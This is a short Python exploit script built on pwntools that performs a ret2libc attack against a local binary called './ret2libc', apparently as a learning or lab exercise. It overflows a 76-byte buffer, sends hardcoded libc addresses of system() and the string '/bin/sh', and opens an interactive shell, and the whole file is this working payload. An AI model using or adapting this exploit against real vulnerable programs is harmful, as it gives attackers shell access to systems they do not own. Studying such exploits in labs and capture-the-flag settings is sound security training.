#!/usr/bin/python

from pwn import *

offset___libc_start_main_ret = 0x1edf6
offset_system = 0x00045070
offset_dup2 = 0x000f2c10
offset_read = 0x000f1fa0
offset_write = 0x000f2040
offset_str_bin_sh = 0x18c33c

libc_addr = 0xf7dd0000

system_addr = libc_addr + offset_system
bin_sh_addr = libc_addr + offset_str_bin_sh


def main():
    # start the process
    p = process("./ret2libc")

    # print the pid
    raw_input(str(p.proc.pid))

    # craft the payload
    payload = b"A"*76
    payload += p32(system_addr)
    payload += p32(0xdeadbeef)
    payload += p32(bin_sh_addr)


    # send the payload
    p.send(payload)

    # pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()